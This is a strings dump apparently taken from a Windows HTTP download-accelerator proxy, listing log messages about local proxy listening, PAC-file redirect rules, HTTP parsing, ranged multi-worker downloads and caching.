[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer - LSP MODE
[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer (PassThrough) - LSP MODE
[HttpProxyServer::StartListening] Listening on port: %d
[HttpProxyServer::StartListening] ___Error Listen Socket Initialize failed
[HttpProxyServer::StartListening] ___Error listening on port: %d
[HttpProxyServer::StartListening] ___Error failed to bind the Listen Socket
[HttpProxyServer::StartListening] ___Error Testing Mode - failed to bind Listen Socket default port
[HttpProxyServer::StartListening] Try listening on IP: %s, Port: %d
[HttpProxyServer::StartListening] Listen port restored to default: %d
[HttpProxyServer::StartListening] ___Error Configuration not valid
[HttpProxyServer::StartListening]
HttpProxyServer::StartListening
[HttpProxyServer::StopAllAccelerations]
[HttpProxyServer::GetDestinationIpAndPort] ___Error getting the destination details. Local: %s:%d
[HttpProxyServer::GetDestinationIpAndPort] Local: %s:%d, Remote: %s:%d, PID: %d
[HttpProxyServer::GetDestinationIpAndPort] ___Error spIRedirectController == NULL
[HttpProxyServer::InitializationThread] ___Error listening to network traffic
[HttpProxyServer::InitializationThread] Listening to network traffic.
[HttpProxyServer::InitializationThread] Going to listen to network traffic
[HttpProxyServer::InitializationThread] ___Error HttpProxyServer not valid
[HttpProxyServer::InitializationThread]
[HttpProxyServer::ReleaseAllClosedFDMs] - All closed FDMs where released.
[HttpProxyServer::ReleaseAllClosedFDMs] - FDM=%d has %d RefCount.
[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing FDM=%d.
[HttpProxyServer::ReleaseAllClosedFDMs] - There are %d FDMs to release.
[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing all closed FDMs.
[HttpProxyServer::Start] ___Error hInitializationThread failed: %d
[HttpProxyServer::Start] hInitializationThread - S_OK
[HttpProxyServer::Start] Waiting for Initialzation Thread...
HttpProxyServer::Start
[HttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.
[HttpProxyServer::AcceptConnection] Going to initialize Worker: %d.
[HttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.
[HttpProxyServer::AcceptConnection] ___Error getting the connected IP and port of the socket %d.
[HttpProxyServer::AcceptConnection] ___Error accepting a new socket
[HttpProxyServer::Work] --- Exit event was set ---
[HttpProxyServer::Work] - Start...
[HttpProxyServer::FindDownloadMgr] FDM=%d - Was stopped.
[HttpProxyServer::FindDownloadMgr] FDM=%d - Stopping...
[HttpProxyServer::FindDownloadMgr] FDM=%d - State is completed, deleting the FDM
[HttpProxyServer::FindDownloadMgr] The FDM=%d state is Not completed - Add Request to FDM
[HttpProxyServer::FindDownloadMgr] The FDM=%d is connected to %s : %d ---> and not to %s : %d
[HttpProxyServer::FindDownloadMgr] Worker was found ! (ID Metch)
[HttpProxyServer::FindDownloadMgr] ___Warning - In caching, use a new one.
[HttpProxyServer::FindDownloadMgr] ___Warning - Worker was found but ID not match
[HttpProxyServer::FindDownloadMgr] Worker was not found !
[HttpProxyServer::RemoveDownloaderFromMap] FDM=%d - Worker:%d
HttpProxyServer::RemoveDownloaderFromMap
[HttpProxyServer::FDMWasStopped] FDM=%d <-> Local (%d)
HttpProxyServer::FDMWasStopped
[HttpProxyServer::Stop] The Stop process was finished !
[HttpProxyServer::Stop] - Workers - Deleted !
[HttpProxyServer::Stop] - Workers - Deleting...
[HttpProxyServer::Stop] - Listen - Stopped !
[HttpProxyServer::Stop] - Listen - Stopping...
[HttpProxyServer::Stop] - NetworkEventsSink - Stopped !
[HttpProxyServer::Stop] - NetworkEventsSink - Stopping...
[HttpProxyServer::Stop] Starting the Stop process...
HttpProxyServer::OnError
[HttpProxyServer::BuildElsePacString] Direct -> ieDomain = %s iePort = %d
return "PROXY %s:%d";
[HttpProxyServer::BuildElsePacString] With ie Proxy Details ieDomain = %s iePort = %d
[HttpProxyServer::BuildElsePacString] Domain ieDomain = %s iePort = %d
127.0.0.1
[HttpProxyServer::IsRequestMatchRedirectionRules] can't get configuration
[HttpProxyServer::IsRequestMatchRedirectionRules] handle on mode, return true
[HttpProxyServer::IsRequestMatchRedirectionRules] Rule not found for Domain: %s, IP: %s
[HttpProxyServer::IsRequestMatchRedirectionRules] Domain & Port found in Rule: %s
[HttpProxyServer::IsRequestMatchRedirectionRules] Domain found in Rule: %s
[HttpProxyServer::IsRequestMatchRedirectionRules] ___Error getting IAccelerationConfiguration
[HttpProxyServer::GetDestinationDomainAndPort] Domain: %s, Port: %d, URI: %s
[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain from URI
[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain and the port from the URI field.
[HttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).
[HttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).
[HttpProxyServer::OnHeader] Worker %u IsRequestMatchRedirectionRules matched - try to accelerate, PassThrough OFF
[HttpProxyServer::OnHeader] *** IsRequestMatchRedirectionRules not matched - PassThrough ON ***
[HttpProxyServer::OnHeader] ___Error local loop detected
[HttpProxyServer::OnHeader] ___Error getting the IP of the domain %s.
[HttpProxyServer::OnHeader] ___Error (TransparentMode) getting the destination IP and port from the header, for Worker:%d
[HttpProxyServer::OnHeader] ___Warning getting the destination IP and port for Worker:%d (nLocalPort:%d)
[HttpProxyServer::OnHeader] ___Error building the request from Worker:%d
[HttpProxyServer::OnHeader] ___Error (ProxyMode) getting the destination IP and port from the header, for Worker:%d
[HttpProxyServer::OnHeader] ___Error Unsupported Mode from Worker:%d !!!
[HttpProxyServer::OnHeader] ___Error getting the connected IP and Port for Worker:%d
[HttpProxyServer::OnHeader] New header from Worker:%d.
[HttpProxyServer::GetOriginalRequest] Original request was found: %s
[HttpProxyServer::InsertDownloaderToMap] FDM=%d - Worker:%d
HttpProxyServer::InsertDownloaderToMap
[HttpProxyServer::GetFileDownloadManager] FDM=%d for Worker:%d, IP:%s, Port:%d, was found.
[HttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.
[HttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.
[HttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP:%s, Port:%d, was created.
[HttpProxyServer::GetFileDownloadManager] FDM not found, Creating new one. (Worker:%d, IP:%s, Port:%d)
[HttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker:%d, IP:%s, Port:%d.
return "PROXY 127.0.0.1:%d";
shExpMatch(host, "%s")
function FindProxyForURL(url, host)
[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IConfiguration.
[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IAccelerationConfiguration.
HttpProxyServer::GetRedirectRulesInPacFormat
%%.%ds
[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: WriteDataToFile() failed: %s
[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: GetRedirectRulesInPacFormat() failed: %s
[HttpProxyServer::WriteRedirectRulesToPacFile]
[HttpProxyServer::~HttpProxyServer] - Leave
[HttpProxyServer::~HttpProxyServer] - Enter
[HttpProxyServer::SetOriginalRequest] Location: %s
[HttpProxyServer::SetOriginalRequest] Replacing: %s
[HttpProxyServer::HttpProxyServer]
hXXp://
HTTP_Version_String
HTTP/1.0
HttpParser::UpdateBuffer
[HttpParser::Reset]
[HttpParser::ValidateEndOfLine] ___Error: Unsupported end of line option.
[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c.
[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c%c.
[HttpParser::ValidateEndOfLine] ___Error: Invalid end of line: %c%c.
[HttpParser::LastChunkReceivedCompletely] Temporary nChunkSize:%d
[HttpParser::LastChunkReceivedCompletely] Received all %d bytes.
[HttpParser::LastChunkReceivedCompletely] Missing %d/%d bytes.
HttpParser::Initialize
HttpParser::GetLine
[HttpParser::GetChunkSize] Missing %d/%d bytes.
[HttpParser::GetChunkSize] After Adding nBytesInBuffer. nChunkSize:%d
[HttpParser::GetChunkSize] Before Adding nBytesInBuffer. nChunkSize:%d
[HttpParser::GetChunkSize] Received all %d bytes of the current chunk.
[HttpParser::GetChunkSize] After Adding Trailer nChunkSize:%d
[HttpParser::GetChunkSize] Before Adding Trailer nChunkSize:%d
[HttpParser::GetChunkSize] After Adding nChunkSize:%d
[HttpParser::GetChunkSize] Before Adding nChunkSize:%d
[HttpParser::GetChunkSize] Next chunk details: (header:%d bytes, size:%d bytes).
[HttpParser::GetChunkSize] The buffer size is %d bytes.
[HttpParser::GetChunkDetails] The size of the chunks is %d bytes.
[HttpParser::GetChunkDetails] ___Error Unknown end of line.
[HttpParser::GetChunkDetails] Going to analyze: BufferSize(%d), HeaderSize(%d), ChunkBufferSize(%d).
[HttpParser::ParseLine] ___Error: The field separator was not found in the line %.600s
HttpParser::ParseLine
[HttpParser::operator =] Adding Cookie %s : %s
HttpParser::GetFieldDataString
HttpParser::GetFieldDataNumber
[HttpParser::SetFieldData] Adding Cookie %s : %s
[HttpParser::SetFieldData] %s : %s
HttpParser::SetFieldData
HttpParser::AddLineDetailsToMap
[HttpParser::IsDataAvailable] Undefined - %d data bytes
[HttpParser::IsDataAvailable] Response code has no body - no data
[HttpParser::IsDataAvailable] Request - %lld/%lld, Available: %d, Missing: %lld
[HttpParser::IsDataAvailable] Content Length - %lld/%lld, Available: %d, Missing: %lld
[HttpParser::IsDataAvailable] Chunks size - %d bytes
[HttpParser::IsDataAvailable] ___Error The Header is not complete yet...
[HttpParser::IsConnectionClose] The Connection field exists:%s
[HttpParser::IsConnectionClose] HTTP/1.1 - The Connection field does NOT exists - using Keep-Alive as default
[HttpParser::IsConnectionClose] HTTP/1.0 - The Connection field does NOT exists - using Close as default
[HttpParser::GetContentLength] Content-Length: %lld
[HttpParser::GetDataLengthFromRanges] Range fields does not exists
[HttpParser::GetDataLengthFromRanges] Total Data Length = %lld, StartOfRange = %lld, EndOfRange = %lld
[HttpParser::GetDataLengthFromRanges] End Position == 0
[HttpParser::GetDataLengthFromRanges] Filesize: %lld
[HttpParser::GetDataLengthFromRangesField] Range fields does not exists
[HttpParser::GetDataLengthFromRangesField] Total Data Length = %lld
[HttpParser::GetRangesFromHeaderField] Range fields does not exists
[HttpParser::GetRangesFromHeaderField] StartOfRange = %lld, EndOfRange = %lld
[HttpParser::GetRangesFromHeaderField] Filesize: %lld
[HttpParser::IsValid] ___Error --- NOT an HTTP request ---
HttpParser::SetFieldDataNumber
[HttpParser::AnalyzeFirstLine] ___Error The number of tokens in the line %.600s is not valid.There is not enough memory to allocate new buffers.
[HttpParser::AnalyzeFirstLine] ___Error Invalid HTTP Header: %.600s
HTTP/
HttpParser::AnalyzeFirstLine
[HttpParser::SetConnectionType] Adding - Connection: %s (%s)
[HttpParser::SetConnectionType] %s: %s (%s)
[HttpParser::UpdateDataEncodingType] Request - No Encoding.
[HttpParser::UpdateDataEncodingType] Request Post/Put - No Encoding.
[HttpParser::UpdateDataEncodingType] Request Connect - No Encoding.
[HttpParser::UpdateDataEncodingType] - No Encoding.
[HttpParser::UpdateDataEncodingType] - The data encoding type is chunked.
[HttpParser::ParseHeader] Complete - Header size: %d
HttpParser::ParseHeader
HttpParser::GetAllFieldDataStrings
[HttpHeader::BuildFirstLineInHeader] ___Error building the first line if the header. The header type is undefined.
[HttpProxyRemote::SetRangesInHeaderField] ___Error: The function SetFieldData failed.
[HttpHeader::GetRangesFromPathURI] StartOfRange: %lld, EndOfRange: %lld
[HttpHeader::GetRangesFromPathURI] The token %s was not found in the URI
[HttpHeader::GetRangesFromPathURI] ___Error: The field %s does not exist.
[HttpHeader::GetRangesFromURI] StartOfRange: %lld, EndOfRange: %lld
[HttpHeader::GetRangesFromURI] The token %s was not found in the URI
[HttpHeader::GetRangesFromURI] ___Error: The field %s does not exist.
[HttpHeader::GetDomainAndPortFromURI] Domain: %s, Port: %d
[HttpHeader::GetDomainAndPortFromURI] ___Error No URI empty
[HttpProxyRemote::SetRangesInPathURI] ___Error: The function SetFieldData field.
%s%lld
[HttpHeader::SetRangesInPathURI] ___Error: The field %s does not exist.
[HttpProxyRemote::SetRangesInURI] ___Error: The function SetFieldData field.
%s%lld-
%s%lld-%lld
[HttpHeader::SetRangesInURI] ___Error: The field %s does not exist.
[HttpProxyLocal::SocketWasConnected] FDM=%d (%d)
[HttpProxyLocal::SocketAcceptedConnection] FDM=%d (%d)
[HttpProxyLocal::SocketWasClosed] FDM=%d (%d)
[HttpProxyLocal::ErrorOnSocket] FDM=%d (%d)
[HttpProxyLocal::Stop] FDM=%d (%d)
[~HttpProxyLocal - %p] FDM=%d (%d).
C:\Temp\Socket%d.bin
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request data *** (wrote %lld data bytes).
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Data.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the data written.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The data size is %d/%d bytes.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker has no data to send.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in DATA state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker has %d data bytes in the buffer to send
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching to DATA state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request header ***.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Wroker is switching to DATA state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Header.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the Header written.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker was stopped (in HEADER state)
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error The header is not valid - switch to PassThrough mode!
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning The header is not complete
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in HEADER state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - NO PassThrough mode
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - IN PassThrough mode
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error: JobInfo is NULL.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Going to analyze %d bytes.
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): After writing %d bytes into upper level
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Going to write the %d bytes into the upper level
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Read %d bytes from socket %d
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): ___Error: Reading from socket %d
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Reading from socket %d
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyLocal - %p] FDM=%d (%d).
C:\Temp\Socket_%d_%lld_%d.bin
C:\Temp\Socket_%d.bin
[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Worker was STOPPED.
[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Setting the cache writer as finished.
[HttpProxyWorker::Stop] FDM=%d (%d) - The socket object was deleted.
[HttpProxyWorker::Stop] FDM=%d (%d) - Going to delete the socket object.
[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Going to stop the worker.
[HttpProxyWorker::Stop] FDM=%d (%d)
[HttpProxyWorker::ErrorOnJob] FDM=%d (%d)
[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - After writing %d/%d bytes to socket %d.
[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - Before writing %d bytes to socket %d.
HttpProxyWorker::Write
[RtmpProxyWorker::Write] FDM=%d (%d),Req:%d ___Warning No bytes to write
[HttpProxyWorker::Write] FDM=%d (%d),Req:%d ___Error is not ready
[HttpProxyWorker::OnCloseEvent] FDM=%d (%d),Req:%d - Socket %d was closed.
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error initializing socket
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** socket %d was Initialized ***.
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error Binding to cellular interface - set to default interface
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d - Binded to Cellular Interface.
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** new socket ***
HttpProxyWorker::InitializeSocket
[HttpProxyWorker::Initialize] FDM=%d (%d): ___Error initializing the worker, Err: %d.
[HttpProxyWorker::Initialize] FDM=%d (%d) was initialized.
HttpProxyWorker::Initialize
[HttpProxyWorker::DumpBufferToLogFile] FDM=%d (%d),Req:%d
[~HttpProxyWorker - %p] FDM=%d (%d).
[HttpProxyWorker - %p] FDM=%d (%d).
[JobInfo::GetPositionField] ___Error: The field %d is not a position field.
[JobInfo::SetPositionField] ___Error: The field %d is not a position field.
[JobInfo::SetPositionField] Job:%d - RANGE_CONTENT_LENGTH - %lld
[JobInfo::SetPositionField] Job:%d - TIME_CURRENT_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - TIME_END_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - TIME_START_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - RANGE_END_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - RANGE_START_POSITION - %lld
[JobInfo::GetDownloadStartPosition] Job:%d - %lld
[JobInfo::GetCurrentTimePosition] Job:%d - %lld
[JobInfo::SetDataHeaderBytes] Job:%d has Data Header: %lld bytes to discard
[JobInfo::GetBooleanField] ___Error: The field %d is not a boolean field.
[JobInfo::SetBooleanField] ___Error - The field %d is not a boolean field.
[JobInfo::SetBooleanField] Job:%d - IS_CELLULAR_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_DISCARDED - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_UPDATED - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - IS_TIME_ACCELERATION_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - IS_ACTIVE_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - IS_MASTER_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_DOWNLOAD - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_SHORTEN - (%d --> %d)
[JobInfo::GetCounter] ___Error: The field %d is not a counter field.
[JobInfo::SetCounter] ___Error: The field %d is not a counter field.
[JobInfo::Reset] Job:%d
[JobInfo::GetBytesLeftToDownloaded] Job:%d - Has no more bytes to download. (state:%d)
[JobInfo::GetBytesLeftToDownloaded] Job:%d - Left %lld bytes
[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download. (state:%d)
[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download.
[JobInfo::SetDownloadInactivityTimeout] Job:%d (state:%d) - InactivityMaxSeconds = %d
[JobInfo::IsAlive] ___Error Job:%d - did not download for a lot of time!
[JobInfo::CanBeRecovered] Job:%d - %d/%d
[JobInfo::GetTimeToRecovery] Job:%d - Time since last recovery: %d > %d
[JobInfo::GetTimeToRecovery] Job:%d - Time till next recovery: %d < %d
[JobInfo::GetTimeToRecovery] Job:%d - No time between recoveries
[JobInfo::SetTimeBetweenRecoveries] Job:%d - Time between recoveries: %d
[JobInfo::SetValidationBytes] Job:%d - Bytes: %d
[JobInfo::SetValidationBytes] ___Warning Job:%d - not enough bytes: %d < %d
[JobInfo::ValidateConsistency] ___Error Job:%d - Not Downloading the same job's Data after Reconnect!
[JobInfo::ValidateConsistency] Job:%d - *** Match OK ***
[JobInfo::DecrementDataHeaderBytes] Job:%d decremented Data Header: %lld bytes and has more: %lld bytes to discard
[JobInfo::DecrementBytesToDiscard] Job:%d decremented %lld bytes and has more %lld bytes to discard
[JobInfo::SetState] Job:%d, State: %d, Force: %d
[JobInfo::ResetState] Job:%d
[JobInfo::IncrementCounter] ___Error: The field %d is not a counter field.
[JobInfo::UpdateJobState] Job:%d - wrote all the data to the client. (state:%d)
[JobInfo::UpdateJobState] Job:%d - has no more bytes to download. (state:%d)
[JobInfo::SetRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).
[JobInfo::UpdateRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).
[JobInfo::UpdateTimeRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).
[JobInfo::IncrementDataHeaderBytes] Job:%d incremented Date Header: %lld bytes and has more: %lld bytes to discard
[JobInfo::SetBytesToDiscard] Job:%d has %lld bytes to discard
[JobInfo::IncrementBytesToDiscard] Job:%d incremented %lld bytes and has more %lld bytes to discard
[JobInfo::ValidateContinuousness] ___Error Job:%d with Job:%d (Bytes: %d) - Continues jobs does not match!
[JobInfo::ValidateContinuousness] Job:%d with Job:%d (Bytes: %d) - *** Match OK ***
[JobInfo::ValidateContinuousness] ___Warning Job:%d - Next job has no validation bytes
[JobInfo::ValidateContinuousness] ___Warning Job:%d - No next job to compare
[JobInfo] Job:%d
[JobInfo] Job:%d (%lld-%lld).
[~JobInfo] Job:%d (%lld-%lld).
************ End: d:d:d::d
************ Start: d:d:d::d
[JobInfo::RegisterToChangeManaer] FDM=%d, Job:%d
[JobInfo::RegisterToChangeManaer] ___Error FDM=%d, Job:%d - RegisterOnChanges
pIHttpProxyServer
[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d
[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can be stopped.
[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. cmState is %d.
[FileDownloadMgr::StopDownload] FDM=%d, Stopping...
[FileDownloadMgr::StopDownload] FDM=%d - Allow to complete prefetching...
[FileDownloadMgr::StopDownload] FDM=%d
[FileDownloadMgr::CreateCacheWriter] FDM=%d ___Error creating Cache Writer.
[FileDownloadMgr::StopAcceleration] **** FDM=%d - Going to stop the acceleration ****.
[FileDownloadMgr::StopAcceleration] FDM=%d
[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- After calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- Before calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d
[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- After calling to OnData() ---.
[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- Before calling to OnData() ---.
[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- After calling to OnStop() ---.
[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- Before calling to OnStop() ---.
[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Already reported (SEEK) ---
[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- After calling to ReportOnTrialExpiredAcceleration() ---.
[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- Before calling to ReportOnTrialExpiredAcceleration() ---.
[FileDownloadMgr::AbortAcceleration] FDM=%d
[FileDownloadMgr::IsDownloadComplete] FDM=%d *** Download Completed *** (%lld >= %lld)
[FileDownloadMgr::SetDownloadSize] FDM=%d - Download size: %lld (%lld), bForce: %d
[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Abort Acceleration ***
[FileDownloadMgr::OnInterfaceDown] FDM=%d - ip: %d, name: %s, 3G: %d
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d ### Stopping the FDM - Master was closed without HTTP header
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - ### Master Remote Connection was closed
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - Master Remote completed
[FileDownloadMgr::OnRequestComplete] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d (3G: %d)
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d) - %d Requests are pending...
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - *** FINISHED *** (%d/%d)
[FileDownloadMgr::OnWorkerConnectionReady] FDM=%d (%d),Req:%d (3G: %d)
[FileDownloadMgr::ResumeCaching] FDM=%d - Resuming...
[FileDownloadMgr::ResumeCaching] FDM=%d
[FileDownloadMgr::RestartWorkerToRedirectDomain] FDM=%d (%d),Req:%d ___Error - ReStartCurrentJob to: %s
pHttpProxyRemote
[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error SetRedirectFilter
[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error IRedirectController invalid
[FileDownloadMgr::AddDomainToRedirectList] FDM=%d - Domain: %s, Port: %d
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - Range size == Master size
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - pJobInfo == NULL
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - m_n64MasterWorkerContentLength <= 0
[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- After calling to OnStartAcceleration() ---.
[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- Before calling to OnStartAcceleration() ---.
[FileDownloadMgr::NotifyOnStop] FDM=%d - Going to stop the Local peer (%d)
[FileDownloadMgr::NotifyOnStop] FDM=%d
[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Transparent Mode)
[FileDownloadMgr::IsToCloseLocal] FDM=%d - Transparent Mode - Master was not closed - wait for new requests...
[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Proxy Mode)
[FileDownloadMgr::IsToCloseLocal] FDM=%d - Proxy Mode - Do not close the Local Worker yet - wait for new requests...
[FileDownloadMgr::FindWorkerByJob] FDM=%d ___Error worker not found for job %d.
[FileDownloadMgr::GetCacheData] FDM=%d *** Create New Cache Data *** Url: %s
[FileDownloadMgr::GetCacheData] FDM=%d *** Use existing Cache Data CD:%d ***
[FileDownloadMgr::GetCacheData] FDM=%d - Download - no caching needed
[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid IHttpCacheManager
[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid url
[FileDownloadMgr::GetCacheData] FDM=%d
[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Warning *** Master worker passed all ranges. ***
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of worker (%d) updated to %lld.
[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Error: The function FindWorkerByJob failed.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - There are %lld bytes left to discard.
[FileDownloadMgr::UpdateWorkersRanges] FDM=%d (Iter: %d), Range: %lld-%lld, Overlapped and Closed due to (job: %d)
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d ___Error update worker (%d). Must discard %lld bytes.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - All the workers must discard %lld bytes.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of the first worker (%d) was updated to %lld.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d First worker end position: %lld
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Worker (%d) downloaded %lld data bytes
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Going update the workers ranges.
[FileDownloadMgr::AddRequestToQueue] FDM=%d - Req:%d was added. Pending requests: %d
[FileDownloadMgr::GetRequestFromQueue] FDM=%d - Req:%d was removed. Pending requests: %d
[FileDownloadMgr::GetRequestFromQueue] FDM=%d - No more pending requests.
[FileDownloadMgr::GetRequestFromQueue] FDM=%d
[FileDownloadMgr::ReturnRequestToQueue] FDM=%d - Req:%d was returned. Pending requests: %d
[FileDownloadMgr::ReturnRequestToQueue] FDM=%d
[FileDownloadMgr::AddWorkerToList] FDM=%d There are %d workers
[HttpFileDownloadMgr::FindMasterWorker] FDM=%d ___Warning Master Worker not found !
[FileDownloadMgr::GetMasterWorker] FDM=%d (%d) The Master worker status is %s.
[FileDownloadMgr::Reset] FDM=%d - Jobs: %d, Workers: %d
[FileDownloadMgr::ReportNoAccelerationReason] FDM=%d ,%s
WARNING: Master passed all workers
WARNING: HD Acceleration not supported
ERROR: Dailymotion seek not supported
WARNING: Server in non support range servers list
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Job: %d), Range: %lld-%lld
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range : %lld-%lld, Overlapped and closed due to (job: %d)
